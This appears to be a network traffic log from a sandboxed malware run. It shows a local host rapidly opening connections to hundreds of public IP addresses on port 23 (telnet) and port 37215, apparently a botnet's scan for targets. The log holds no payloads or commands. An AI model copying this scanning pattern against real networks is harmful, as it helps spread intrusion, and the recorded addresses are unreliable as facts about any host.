Oct 14, 2024 17:30:08.932404995 CEST	12058	23	192.168.2.14	200.5.187.213
Oct 14, 2024 17:30:08.932404995 CEST	12058	23	192.168.2.14	139.88.171.215
Oct 14, 2024 17:30:08.932408094 CEST	12058	23	192.168.2.14	4.73.241.76
Oct 14, 2024 17:30:08.932415009 CEST	12058	23	192.168.2.14	136.202.126.29
Oct 14, 2024 17:30:08.932418108 CEST	12058	23	192.168.2.14	202.46.148.131
Oct 14, 2024 17:30:08.932430983 CEST	12058	23	192.168.2.14	97.148.232.53
Oct 14, 2024 17:30:08.932430983 CEST	12058	23	192.168.2.14	146.45.152.221
Oct 14, 2024 17:30:08.932461977 CEST	12058	23	192.168.2.14	46.163.97.59
Oct 14, 2024 17:30:08.932461977 CEST	12058	23	192.168.2.14	72.5.157.29
Oct 14, 2024 17:30:08.932476044 CEST	12058	23	192.168.2.14	180.182.245.186
Oct 14, 2024 17:30:08.932482004 CEST	12058	23	192.168.2.14	131.66.11.228
Oct 14, 2024 17:30:08.932487965 CEST	12058	23	192.168.2.14	146.63.213.167
Oct 14, 2024 17:30:08.932501078 CEST	12058	23	192.168.2.14	23.43.44.230
Oct 14, 2024 17:30:08.932507992 CEST	12058	23	192.168.2.14	223.183.9.110
Oct 14, 2024 17:30:08.932507992 CEST	12058	23	192.168.2.14	131.13.203.92
Oct 14, 2024 17:30:08.932534933 CEST	12058	23	192.168.2.14	72.115.227.240
Oct 14, 2024 17:30:08.932534933 CEST	12058	23	192.168.2.14	210.173.95.207
Oct 14, 2024 17:30:08.932543993 CEST	12058	23	192.168.2.14	186.43.189.82
Oct 14, 2024 17:30:08.932544947 CEST	12058	23	192.168.2.14	217.44.133.214
Oct 14, 2024 17:30:08.932544947 CEST	12058	23	192.168.2.14	53.66.56.43
Oct 14, 2024 17:30:08.932549000 CEST	12058	23	192.168.2.14	35.148.22.1
Oct 14, 2024 17:30:08.932557106 CEST	12058	23	192.168.2.14	138.174.248.30
Oct 14, 2024 17:30:08.932562113 CEST	12058	23	192.168.2.14	5.195.160.125
Oct 14, 2024 17:30:08.932575941 CEST	12058	23	192.168.2.14	178.241.102.146
Oct 14, 2024 17:30:08.932584047 CEST	12058	23	192.168.2.14	173.237.118.243
Oct 14, 2024 17:30:08.932596922 CEST	12058	23	192.168.2.14	83.90.59.169
Oct 14, 2024 17:30:08.932605028 CEST	12058	23	192.168.2.14	71.213.23.115
Oct 14, 2024 17:30:08.932607889 CEST	12058	23	192.168.2.14	147.229.232.149
Oct 14, 2024 17:30:08.932621002 CEST	12058	23	192.168.2.14	104.226.201.45
Oct 14, 2024 17:30:08.932630062 CEST	12058	23	192.168.2.14	208.219.169.162
Oct 14, 2024 17:30:08.932641029 CEST	12058	23	192.168.2.14	43.182.113.112
Oct 14, 2024 17:30:08.932648897 CEST	12058	23	192.168.2.14	4.234.143.6
Oct 14, 2024 17:30:08.932656050 CEST	12058	23	192.168.2.14	165.138.142.201
Oct 14, 2024 17:30:08.932671070 CEST	12058	23	192.168.2.14	167.6.121.183
Oct 14, 2024 17:30:08.932681084 CEST	12058	23	192.168.2.14	75.164.224.103
Oct 14, 2024 17:30:08.932692051 CEST	12058	23	192.168.2.14	45.192.111.46
Oct 14, 2024 17:30:08.932702065 CEST	12058	23	192.168.2.14	43.115.149.160
Oct 14, 2024 17:30:08.934030056 CEST	23	12058	149.157.80.25	192.168.2.14
Oct 14, 2024 17:30:08.934063911 CEST	23	12058	44.92.162.154	192.168.2.14
Oct 14, 2024 17:30:08.934093952 CEST	12058	23	192.168.2.14	149.157.80.25
Oct 14, 2024 17:30:08.934106112 CEST	12058	23	192.168.2.14	44.92.162.154
Oct 14, 2024 17:30:08.934243917 CEST	23	12058	190.251.112.74	192.168.2.14
Oct 14, 2024 17:30:08.934303999 CEST	12058	23	192.168.2.14	190.251.112.74
Oct 14, 2024 17:30:08.936275005 CEST	23	12058	171.57.232.120	192.168.2.14
Oct 14, 2024 17:30:08.936326027 CEST	12058	23	192.168.2.14	171.57.232.120
Oct 14, 2024 17:30:09.889471054 CEST	53786	37215	192.168.2.14	156.33.115.13
Oct 14, 2024 17:30:09.889472008 CEST	53786	37215	192.168.2.14	197.210.74.200
Oct 14, 2024 17:30:09.889472961 CEST	53786	37215	192.168.2.14	156.158.87.87
Oct 14, 2024 17:30:09.889493942 CEST	53786	37215	192.168.2.14	197.150.180.171
Oct 14, 2024 17:30:09.889508009 CEST	53786	37215	192.168.2.14	41.207.66.146
Oct 14, 2024 17:30:09.889509916 CEST	53786	37215	192.168.2.14	197.23.139.165
Oct 14, 2024 17:30:09.889511108 CEST	53786	37215	192.168.2.14	197.144.116.120
Oct 14, 2024 17:30:09.889494896 CEST	53786	37215	192.168.2.14	41.14.62.155
Oct 14, 2024 17:30:09.889509916 CEST	53786	37215	192.168.2.14	197.190.87.191
Oct 14, 2024 17:30:09.889511108 CEST	53786	37215	192.168.2.14	197.93.88.62
Oct 14, 2024 17:30:09.889494896 CEST	53786	37215	192.168.2.14	41.182.99.130
Oct 14, 2024 17:30:09.889494896 CEST	53786	37215	192.168.2.14	41.244.255.42
Oct 14, 2024 17:30:09.889537096 CEST	53786	37215	192.168.2.14	156.22.33.77
Oct 14, 2024 17:30:09.889549971 CEST	53786	37215	192.168.2.14	156.13.61.79
Oct 14, 2024 17:30:09.889549971 CEST	53786	37215	192.168.2.14	41.33.73.168
Oct 14, 2024 17:30:09.889549971 CEST	53786	37215	192.168.2.14	41.210.54.26
Oct 14, 2024 17:30:09.889549971 CEST	53786	37215	192.168.2.14	197.140.126.237
Oct 14, 2024 17:30:09.889549971 CEST	53786	37215	192.168.2.14	41.70.187.176
Oct 14, 2024 17:30:09.889575005 CEST	53786	37215	192.168.2.14	156.19.217.129
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	41.168.196.240
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	197.235.223.5
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	197.34.98.159
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	156.62.93.61
Oct 14, 2024 17:30:09.889578104 CEST	53786	37215	192.168.2.14	156.58.17.171
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	197.226.179.113
Oct 14, 2024 17:30:09.889578104 CEST	53786	37215	192.168.2.14	197.24.121.206
Oct 14, 2024 17:30:09.889581919 CEST	53786	37215	192.168.2.14	197.217.242.63
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	41.107.152.217
Oct 14, 2024 17:30:09.889580011 CEST	53786	37215	192.168.2.14	156.195.97.201
Oct 14, 2024 17:30:09.889581919 CEST	53786	37215	192.168.2.14	197.122.6.143
Oct 14, 2024 17:30:09.889585018 CEST	53786	37215	192.168.2.14	197.149.187.154
Oct 14, 2024 17:30:09.889575958 CEST	53786	37215	192.168.2.14	41.180.231.59
Oct 14, 2024 17:30:09.889580011 CEST	53786	37215	192.168.2.14	197.7.2.153
Oct 14, 2024 17:30:09.889590979 CEST	53786	37215	192.168.2.14	197.52.126.20
Oct 14, 2024 17:30:09.889581919 CEST	53786	37215	192.168.2.14	197.56.238.39
Oct 14, 2024 17:30:09.889581919 CEST	53786	37215	192.168.2.14	41.103.110.146
Oct 14, 2024 17:30:09.889590979 CEST	53786	37215	192.168.2.14	41.8.203.216
Oct 14, 2024 17:30:09.889615059 CEST	53786	37215	192.168.2.14	41.141.244.117
Oct 14, 2024 17:30:09.889615059 CEST	53786	37215	192.168.2.14	197.143.89.78
Oct 14, 2024 17:30:09.889615059 CEST	53786	37215	192.168.2.14	41.1.32.139
Oct 14, 2024 17:30:09.889621973 CEST	53786	37215	192.168.2.14	156.21.37.74
Oct 14, 2024 17:30:09.889630079 CEST	53786	37215	192.168.2.14	197.53.87.26
Oct 14, 2024 17:30:09.889630079 CEST	53786	37215	192.168.2.14	156.118.236.68
Oct 14, 2024 17:30:09.889651060 CEST	53786	37215	192.168.2.14	156.231.164.193
Oct 14, 2024 17:30:09.889651060 CEST	53786	37215	192.168.2.14	156.223.254.14
Oct 14, 2024 17:30:09.889651060 CEST	53786	37215	192.168.2.14	197.139.34.171
Oct 14, 2024 17:30:09.889651060 CEST	53786	37215	192.168.2.14	156.111.226.168
Oct 14, 2024 17:30:09.889652967 CEST	53786	37215	192.168.2.14	156.128.77.136
Oct 14, 2024 17:30:09.889662027 CEST	53786	37215	192.168.2.14	41.17.163.19
Oct 14, 2024 17:30:09.889662027 CEST	53786	37215	192.168.2.14	41.189.39.190
Oct 14, 2024 17:30:09.889662981 CEST	53786	37215	192.168.2.14	41.117.223.120
Oct 14, 2024 17:30:09.889662981 CEST	53786	37215	192.168.2.14	41.104.229.93
Oct 14, 2024 17:30:09.889662981 CEST	53786	37215	192.168.2.14	41.82.111.90
Oct 14, 2024 17:30:09.889667988 CEST	53786	37215	192.168.2.14	156.112.108.7
Oct 14, 2024 17:30:09.889669895 CEST	53786	37215	192.168.2.14	197.231.83.44
Oct 14, 2024 17:30:09.889669895 CEST	53786	37215	192.168.2.14	41.194.134.46
Oct 14, 2024 17:30:09.889669895 CEST	53786	37215	192.168.2.14	41.192.52.187
Oct 14, 2024 17:30:09.889681101 CEST	53786	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	197.69.61.111
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	197.157.204.152
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	156.70.222.127
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	156.81.64.94
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	197.105.154.142
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	156.98.248.245
Oct 14, 2024 17:30:09.889682055 CEST	53786	37215	192.168.2.14	41.178.158.57
Oct 14, 2024 17:30:09.889691114 CEST	53786	37215	192.168.2.14	41.239.188.6
Oct 14, 2024 17:30:09.889691114 CEST	53786	37215	192.168.2.14	156.218.174.34
Oct 14, 2024 17:30:09.889694929 CEST	53786	37215	192.168.2.14	197.188.235.20
Oct 14, 2024 17:30:09.889694929 CEST	53786	37215	192.168.2.14	41.84.77.124
Oct 14, 2024 17:30:09.889694929 CEST	53786	37215	192.168.2.14	41.90.36.180
Oct 14, 2024 17:30:09.889700890 CEST	53786	37215	192.168.2.14	197.236.41.208
Oct 14, 2024 17:30:09.889703035 CEST	53786	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:09.889703035 CEST	53786	37215	192.168.2.14	197.164.4.133
Oct 14, 2024 17:30:09.889708042 CEST	53786	37215	192.168.2.14	41.94.201.32
Oct 14, 2024 17:30:09.889708042 CEST	53786	37215	192.168.2.14	156.10.98.112
Oct 14, 2024 17:30:09.889708042 CEST	53786	37215	192.168.2.14	197.237.236.197
Oct 14, 2024 17:30:09.889708042 CEST	53786	37215	192.168.2.14	41.131.14.115
Oct 14, 2024 17:30:09.889708042 CEST	53786	37215	192.168.2.14	41.184.133.226
Oct 14, 2024 17:30:09.889708042 CEST	53786	37215	192.168.2.14	156.174.155.238
Oct 14, 2024 17:30:09.889708996 CEST	53786	37215	192.168.2.14	156.103.56.220
Oct 14, 2024 17:30:09.889708996 CEST	53786	37215	192.168.2.14	197.63.152.46
Oct 14, 2024 17:30:09.889733076 CEST	53786	37215	192.168.2.14	41.243.143.78
Oct 14, 2024 17:30:09.889733076 CEST	53786	37215	192.168.2.14	41.11.44.118
Oct 14, 2024 17:30:09.889733076 CEST	53786	37215	192.168.2.14	41.169.250.179
Oct 14, 2024 17:30:09.889733076 CEST	53786	37215	192.168.2.14	156.138.53.205
Oct 14, 2024 17:30:09.889733076 CEST	53786	37215	192.168.2.14	197.230.248.134
Oct 14, 2024 17:30:09.889736891 CEST	53786	37215	192.168.2.14	41.196.203.251
Oct 14, 2024 17:30:09.889739037 CEST	53786	37215	192.168.2.14	41.196.60.235
Oct 14, 2024 17:30:09.889739990 CEST	53786	37215	192.168.2.14	41.156.32.170
Oct 14, 2024 17:30:09.889739037 CEST	53786	37215	192.168.2.14	156.126.179.50
Oct 14, 2024 17:30:09.889741898 CEST	53786	37215	192.168.2.14	156.83.223.101
Oct 14, 2024 17:30:09.889746904 CEST	53786	37215	192.168.2.14	197.184.253.212
Oct 14, 2024 17:30:09.889746904 CEST	53786	37215	192.168.2.14	41.186.152.56
Oct 14, 2024 17:30:09.889748096 CEST	53786	37215	192.168.2.14	41.101.219.94
Oct 14, 2024 17:30:09.889746904 CEST	53786	37215	192.168.2.14	197.157.36.46
Oct 14, 2024 17:30:09.889748096 CEST	53786	37215	192.168.2.14	156.163.39.63
Oct 14, 2024 17:30:09.889746904 CEST	53786	37215	192.168.2.14	41.18.52.216
Oct 14, 2024 17:30:09.889746904 CEST	53786	37215	192.168.2.14	197.49.5.4
Oct 14, 2024 17:30:09.889759064 CEST	53786	37215	192.168.2.14	41.103.116.12
Oct 14, 2024 17:30:09.889760017 CEST	53786	37215	192.168.2.14	156.252.22.119
Oct 14, 2024 17:30:09.889764071 CEST	53786	37215	192.168.2.14	41.98.146.28
Oct 14, 2024 17:30:09.889765978 CEST	53786	37215	192.168.2.14	156.54.214.192
Oct 14, 2024 17:30:09.889790058 CEST	53786	37215	192.168.2.14	41.3.26.15
Oct 14, 2024 17:30:09.889797926 CEST	53786	37215	192.168.2.14	197.169.80.114
Oct 14, 2024 17:30:09.889801025 CEST	53786	37215	192.168.2.14	156.26.114.20
Oct 14, 2024 17:30:09.889801025 CEST	53786	37215	192.168.2.14	197.250.178.203
Oct 14, 2024 17:30:09.889801025 CEST	53786	37215	192.168.2.14	197.82.73.156
Oct 14, 2024 17:30:09.889802933 CEST	53786	37215	192.168.2.14	41.178.25.18
Oct 14, 2024 17:30:09.889802933 CEST	53786	37215	192.168.2.14	41.98.214.79
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	41.4.154.181
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	197.121.168.136
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	197.23.221.149
Oct 14, 2024 17:30:09.889806986 CEST	53786	37215	192.168.2.14	41.216.85.140
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	156.156.145.1
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	156.5.236.206
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	156.12.221.253
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	41.107.48.195
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	197.113.128.144
Oct 14, 2024 17:30:09.889805079 CEST	53786	37215	192.168.2.14	197.246.142.172
Oct 14, 2024 17:30:09.889827013 CEST	53786	37215	192.168.2.14	41.106.71.59
Oct 14, 2024 17:30:09.889830112 CEST	53786	37215	192.168.2.14	41.66.14.168
Oct 14, 2024 17:30:09.889830112 CEST	53786	37215	192.168.2.14	156.110.242.67
Oct 14, 2024 17:30:09.889831066 CEST	53786	37215	192.168.2.14	156.36.53.252
Oct 14, 2024 17:30:09.889831066 CEST	53786	37215	192.168.2.14	197.223.52.97
Oct 14, 2024 17:30:09.889831066 CEST	53786	37215	192.168.2.14	197.25.128.92
Oct 14, 2024 17:30:09.889834881 CEST	53786	37215	192.168.2.14	156.17.25.165
Oct 14, 2024 17:30:09.889834881 CEST	53786	37215	192.168.2.14	197.92.172.222
Oct 14, 2024 17:30:09.889836073 CEST	53786	37215	192.168.2.14	41.75.202.186
Oct 14, 2024 17:30:09.889836073 CEST	53786	37215	192.168.2.14	41.108.33.47
Oct 14, 2024 17:30:09.889834881 CEST	53786	37215	192.168.2.14	41.159.32.103
Oct 14, 2024 17:30:09.889856100 CEST	53786	37215	192.168.2.14	41.62.135.8
Oct 14, 2024 17:30:09.889856100 CEST	53786	37215	192.168.2.14	156.30.244.104
Oct 14, 2024 17:30:09.889859915 CEST	53786	37215	192.168.2.14	197.168.128.177
Oct 14, 2024 17:30:09.889863968 CEST	53786	37215	192.168.2.14	156.76.115.127
Oct 14, 2024 17:30:09.889863968 CEST	53786	37215	192.168.2.14	41.242.107.43
Oct 14, 2024 17:30:09.889868021 CEST	53786	37215	192.168.2.14	197.240.86.144
Oct 14, 2024 17:30:09.889878035 CEST	53786	37215	192.168.2.14	197.7.173.2
Oct 14, 2024 17:30:09.889878035 CEST	53786	37215	192.168.2.14	41.181.122.173
Oct 14, 2024 17:30:09.889883041 CEST	53786	37215	192.168.2.14	41.145.72.94
Oct 14, 2024 17:30:09.889883041 CEST	53786	37215	192.168.2.14	41.43.197.219
Oct 14, 2024 17:30:09.889883995 CEST	53786	37215	192.168.2.14	197.87.55.72
Oct 14, 2024 17:30:09.889888048 CEST	53786	37215	192.168.2.14	156.179.63.34
Oct 14, 2024 17:30:09.889889002 CEST	53786	37215	192.168.2.14	41.146.113.38
Oct 14, 2024 17:30:09.889889002 CEST	53786	37215	192.168.2.14	156.182.92.225
Oct 14, 2024 17:30:09.889890909 CEST	53786	37215	192.168.2.14	197.34.33.70
Oct 14, 2024 17:30:09.889914989 CEST	53786	37215	192.168.2.14	41.24.196.156
Oct 14, 2024 17:30:09.889915943 CEST	53786	37215	192.168.2.14	197.102.211.96
Oct 14, 2024 17:30:09.889915943 CEST	53786	37215	192.168.2.14	197.221.75.145
Oct 14, 2024 17:30:09.889915943 CEST	53786	37215	192.168.2.14	41.203.28.70
Oct 14, 2024 17:30:09.889916897 CEST	53786	37215	192.168.2.14	197.136.27.52
Oct 14, 2024 17:30:09.889916897 CEST	53786	37215	192.168.2.14	156.185.210.39
Oct 14, 2024 17:30:09.889916897 CEST	53786	37215	192.168.2.14	156.27.232.5
Oct 14, 2024 17:30:09.889919043 CEST	53786	37215	192.168.2.14	156.73.253.63
Oct 14, 2024 17:30:09.889919996 CEST	53786	37215	192.168.2.14	197.154.67.186
Oct 14, 2024 17:30:09.889919043 CEST	53786	37215	192.168.2.14	41.217.137.82
Oct 14, 2024 17:30:09.889919996 CEST	53786	37215	192.168.2.14	41.180.21.15
Oct 14, 2024 17:30:09.889926910 CEST	53786	37215	192.168.2.14	197.249.153.196
Oct 14, 2024 17:30:09.889940023 CEST	53786	37215	192.168.2.14	156.171.100.16
Oct 14, 2024 17:30:09.889940023 CEST	53786	37215	192.168.2.14	197.163.243.4
Oct 14, 2024 17:30:09.889940023 CEST	53786	37215	192.168.2.14	197.151.167.43
Oct 14, 2024 17:30:09.889940023 CEST	53786	37215	192.168.2.14	156.21.105.86
Oct 14, 2024 17:30:09.889941931 CEST	53786	37215	192.168.2.14	197.186.180.106
Oct 14, 2024 17:30:09.889941931 CEST	53786	37215	192.168.2.14	41.170.11.31
Oct 14, 2024 17:30:09.889942884 CEST	53786	37215	192.168.2.14	197.60.172.250
Oct 14, 2024 17:30:09.889951944 CEST	53786	37215	192.168.2.14	41.63.110.96
Oct 14, 2024 17:30:09.889951944 CEST	53786	37215	192.168.2.14	156.206.38.14
Oct 14, 2024 17:30:09.889954090 CEST	53786	37215	192.168.2.14	156.103.179.110
Oct 14, 2024 17:30:09.889956951 CEST	53786	37215	192.168.2.14	41.43.144.192
Oct 14, 2024 17:30:09.889957905 CEST	53786	37215	192.168.2.14	197.106.214.78
Oct 14, 2024 17:30:09.889957905 CEST	53786	37215	192.168.2.14	156.172.150.41
Oct 14, 2024 17:30:09.889972925 CEST	53786	37215	192.168.2.14	197.57.177.198
Oct 14, 2024 17:30:09.889972925 CEST	53786	37215	192.168.2.14	197.51.148.70
Oct 14, 2024 17:30:09.889976978 CEST	53786	37215	192.168.2.14	41.9.90.236
Oct 14, 2024 17:30:09.889976978 CEST	53786	37215	192.168.2.14	156.245.183.148
Oct 14, 2024 17:30:09.889977932 CEST	53786	37215	192.168.2.14	41.89.199.196
Oct 14, 2024 17:30:09.889981985 CEST	53786	37215	192.168.2.14	197.233.217.119
Oct 14, 2024 17:30:09.889986038 CEST	53786	37215	192.168.2.14	156.196.126.81
Oct 14, 2024 17:30:09.889993906 CEST	53786	37215	192.168.2.14	41.29.209.76
Oct 14, 2024 17:30:09.890002012 CEST	53786	37215	192.168.2.14	156.216.219.207
Oct 14, 2024 17:30:09.890013933 CEST	53786	37215	192.168.2.14	41.226.52.84
Oct 14, 2024 17:30:09.890013933 CEST	53786	37215	192.168.2.14	41.75.251.162
Oct 14, 2024 17:30:09.890017033 CEST	53786	37215	192.168.2.14	41.118.244.168
Oct 14, 2024 17:30:09.890044928 CEST	53786	37215	192.168.2.14	156.232.50.10
Oct 14, 2024 17:30:09.890044928 CEST	53786	37215	192.168.2.14	41.16.156.139
Oct 14, 2024 17:30:09.890055895 CEST	53786	37215	192.168.2.14	41.149.181.0
Oct 14, 2024 17:30:09.890069962 CEST	53786	37215	192.168.2.14	197.166.26.123
Oct 14, 2024 17:30:09.890079021 CEST	53786	37215	192.168.2.14	41.84.202.104
Oct 14, 2024 17:30:09.890091896 CEST	53786	37215	192.168.2.14	41.137.89.66
Oct 14, 2024 17:30:09.890106916 CEST	53786	37215	192.168.2.14	197.69.52.217
Oct 14, 2024 17:30:09.890110970 CEST	53786	37215	192.168.2.14	197.0.148.220
Oct 14, 2024 17:30:09.890110970 CEST	53786	37215	192.168.2.14	156.222.181.226
Oct 14, 2024 17:30:09.890130043 CEST	53786	37215	192.168.2.14	41.145.202.26
Oct 14, 2024 17:30:09.890130043 CEST	53786	37215	192.168.2.14	41.184.106.66
Oct 14, 2024 17:30:09.890146017 CEST	53786	37215	192.168.2.14	197.129.171.82
Oct 14, 2024 17:30:09.890151024 CEST	53786	37215	192.168.2.14	197.175.133.182
Oct 14, 2024 17:30:09.890160084 CEST	53786	37215	192.168.2.14	197.241.97.176
Oct 14, 2024 17:30:09.890175104 CEST	53786	37215	192.168.2.14	41.156.23.89
Oct 14, 2024 17:30:09.890187025 CEST	53786	37215	192.168.2.14	156.101.245.45
Oct 14, 2024 17:30:09.890188932 CEST	53786	37215	192.168.2.14	197.76.60.110
Oct 14, 2024 17:30:09.890193939 CEST	53786	37215	192.168.2.14	41.150.181.170
Oct 14, 2024 17:30:09.890193939 CEST	53786	37215	192.168.2.14	41.136.105.47
Oct 14, 2024 17:30:09.890211105 CEST	53786	37215	192.168.2.14	156.224.116.90
Oct 14, 2024 17:30:09.890218019 CEST	53786	37215	192.168.2.14	156.210.9.68
Oct 14, 2024 17:30:09.890225887 CEST	53786	37215	192.168.2.14	156.49.214.15
Oct 14, 2024 17:30:09.890238047 CEST	53786	37215	192.168.2.14	156.226.1.41
Oct 14, 2024 17:30:09.890245914 CEST	53786	37215	192.168.2.14	41.243.44.134
Oct 14, 2024 17:30:09.890270948 CEST	53786	37215	192.168.2.14	41.83.184.144
Oct 14, 2024 17:30:09.890283108 CEST	53786	37215	192.168.2.14	156.172.14.136
Oct 14, 2024 17:30:09.890283108 CEST	53786	37215	192.168.2.14	156.192.251.3
Oct 14, 2024 17:30:09.890311956 CEST	53786	37215	192.168.2.14	41.112.31.78
Oct 14, 2024 17:30:09.890311956 CEST	53786	37215	192.168.2.14	156.37.13.49
Oct 14, 2024 17:30:09.890326023 CEST	53786	37215	192.168.2.14	197.250.181.252
Oct 14, 2024 17:30:09.890326023 CEST	53786	37215	192.168.2.14	197.13.41.121
Oct 14, 2024 17:30:09.890336037 CEST	53786	37215	192.168.2.14	41.32.145.180
Oct 14, 2024 17:30:09.890346050 CEST	53786	37215	192.168.2.14	156.152.21.64
Oct 14, 2024 17:30:09.890362978 CEST	53786	37215	192.168.2.14	197.250.103.93
Oct 14, 2024 17:30:09.890373945 CEST	53786	37215	192.168.2.14	41.203.53.255
Oct 14, 2024 17:30:09.890373945 CEST	53786	37215	192.168.2.14	197.58.216.18
Oct 14, 2024 17:30:09.890398026 CEST	53786	37215	192.168.2.14	41.56.90.25
Oct 14, 2024 17:30:09.890398979 CEST	53786	37215	192.168.2.14	197.124.167.186
Oct 14, 2024 17:30:09.890424013 CEST	53786	37215	192.168.2.14	41.253.32.38
Oct 14, 2024 17:30:09.890430927 CEST	53786	37215	192.168.2.14	156.134.191.152
Oct 14, 2024 17:30:09.890438080 CEST	53786	37215	192.168.2.14	197.142.153.179
Oct 14, 2024 17:30:09.890453100 CEST	53786	37215	192.168.2.14	197.147.139.148
Oct 14, 2024 17:30:09.890456915 CEST	53786	37215	192.168.2.14	41.103.58.180
Oct 14, 2024 17:30:09.890476942 CEST	53786	37215	192.168.2.14	41.127.200.26
Oct 14, 2024 17:30:09.890476942 CEST	53786	37215	192.168.2.14	197.81.0.85
Oct 14, 2024 17:30:09.890495062 CEST	53786	37215	192.168.2.14	197.68.89.66
Oct 14, 2024 17:30:09.890510082 CEST	53786	37215	192.168.2.14	41.33.169.47
Oct 14, 2024 17:30:09.890518904 CEST	53786	37215	192.168.2.14	197.187.51.240
Oct 14, 2024 17:30:09.890522957 CEST	53786	37215	192.168.2.14	41.31.196.61
Oct 14, 2024 17:30:09.890531063 CEST	53786	37215	192.168.2.14	197.157.171.198
Oct 14, 2024 17:30:09.890535116 CEST	53786	37215	192.168.2.14	41.152.24.97
Oct 14, 2024 17:30:09.890562057 CEST	53786	37215	192.168.2.14	156.227.142.24
Oct 14, 2024 17:30:09.890563011 CEST	53786	37215	192.168.2.14	156.82.3.59
Oct 14, 2024 17:30:09.890578985 CEST	53786	37215	192.168.2.14	41.158.56.125
Oct 14, 2024 17:30:09.890587091 CEST	53786	37215	192.168.2.14	41.152.80.53
Oct 14, 2024 17:30:09.890589952 CEST	53786	37215	192.168.2.14	197.164.46.113
Oct 14, 2024 17:30:09.890590906 CEST	53786	37215	192.168.2.14	156.245.140.138
Oct 14, 2024 17:30:09.890615940 CEST	53786	37215	192.168.2.14	197.67.101.203
Oct 14, 2024 17:30:09.890628099 CEST	53786	37215	192.168.2.14	156.22.13.122
Oct 14, 2024 17:30:09.890630960 CEST	53786	37215	192.168.2.14	197.233.83.70
Oct 14, 2024 17:30:09.890644073 CEST	53786	37215	192.168.2.14	156.9.135.115
Oct 14, 2024 17:30:09.890644073 CEST	53786	37215	192.168.2.14	156.195.147.164
Oct 14, 2024 17:30:09.890650034 CEST	53786	37215	192.168.2.14	156.63.77.220
Oct 14, 2024 17:30:09.890661001 CEST	53786	37215	192.168.2.14	156.68.71.185
Oct 14, 2024 17:30:09.890683889 CEST	53786	37215	192.168.2.14	41.191.201.216
Oct 14, 2024 17:30:09.890688896 CEST	53786	37215	192.168.2.14	156.92.205.73
Oct 14, 2024 17:30:09.890748024 CEST	53786	37215	192.168.2.14	156.182.218.90
Oct 14, 2024 17:30:09.890767097 CEST	53786	37215	192.168.2.14	156.190.131.11
Oct 14, 2024 17:30:09.890767097 CEST	53786	37215	192.168.2.14	197.42.217.92
Oct 14, 2024 17:30:09.890779972 CEST	53786	37215	192.168.2.14	197.212.150.132
Oct 14, 2024 17:30:09.890783072 CEST	53786	37215	192.168.2.14	156.75.36.33
Oct 14, 2024 17:30:09.890790939 CEST	53786	37215	192.168.2.14	41.53.110.249
Oct 14, 2024 17:30:09.890798092 CEST	53786	37215	192.168.2.14	156.0.134.22
Oct 14, 2024 17:30:09.890814066 CEST	53786	37215	192.168.2.14	156.118.7.114
Oct 14, 2024 17:30:09.890827894 CEST	53786	37215	192.168.2.14	156.11.42.173
Oct 14, 2024 17:30:09.890829086 CEST	53786	37215	192.168.2.14	41.168.100.79
Oct 14, 2024 17:30:09.890829086 CEST	53786	37215	192.168.2.14	41.189.113.130
Oct 14, 2024 17:30:09.890850067 CEST	53786	37215	192.168.2.14	197.17.95.53
Oct 14, 2024 17:30:09.890851974 CEST	53786	37215	192.168.2.14	41.52.130.38
Oct 14, 2024 17:30:09.890866995 CEST	53786	37215	192.168.2.14	156.77.139.183
Oct 14, 2024 17:30:09.890882969 CEST	53786	37215	192.168.2.14	41.61.47.43
Oct 14, 2024 17:30:09.890882969 CEST	53786	37215	192.168.2.14	41.173.100.63
Oct 14, 2024 17:30:09.890896082 CEST	53786	37215	192.168.2.14	197.152.195.185
Oct 14, 2024 17:30:09.890913963 CEST	53786	37215	192.168.2.14	156.186.53.9
Oct 14, 2024 17:30:09.890914917 CEST	53786	37215	192.168.2.14	41.114.39.199
Oct 14, 2024 17:30:09.890923023 CEST	53786	37215	192.168.2.14	41.186.0.66
Oct 14, 2024 17:30:09.890934944 CEST	53786	37215	192.168.2.14	41.73.73.226
Oct 14, 2024 17:30:09.890944958 CEST	53786	37215	192.168.2.14	41.201.253.88
Oct 14, 2024 17:30:09.890949011 CEST	53786	37215	192.168.2.14	41.188.71.172
Oct 14, 2024 17:30:09.890986919 CEST	53786	37215	192.168.2.14	156.104.223.111
Oct 14, 2024 17:30:09.890990973 CEST	53786	37215	192.168.2.14	197.201.210.198
Oct 14, 2024 17:30:09.891000032 CEST	53786	37215	192.168.2.14	197.202.38.235
Oct 14, 2024 17:30:09.891017914 CEST	53786	37215	192.168.2.14	197.172.228.174
Oct 14, 2024 17:30:09.891027927 CEST	53786	37215	192.168.2.14	41.213.224.65
Oct 14, 2024 17:30:09.891047001 CEST	53786	37215	192.168.2.14	197.97.8.96
Oct 14, 2024 17:30:09.891051054 CEST	53786	37215	192.168.2.14	156.50.25.205
Oct 14, 2024 17:30:09.891066074 CEST	53786	37215	192.168.2.14	156.239.138.12
Oct 14, 2024 17:30:09.891086102 CEST	53786	37215	192.168.2.14	41.183.145.57
Oct 14, 2024 17:30:09.891086102 CEST	53786	37215	192.168.2.14	41.14.138.190
Oct 14, 2024 17:30:09.891092062 CEST	53786	37215	192.168.2.14	156.166.12.99
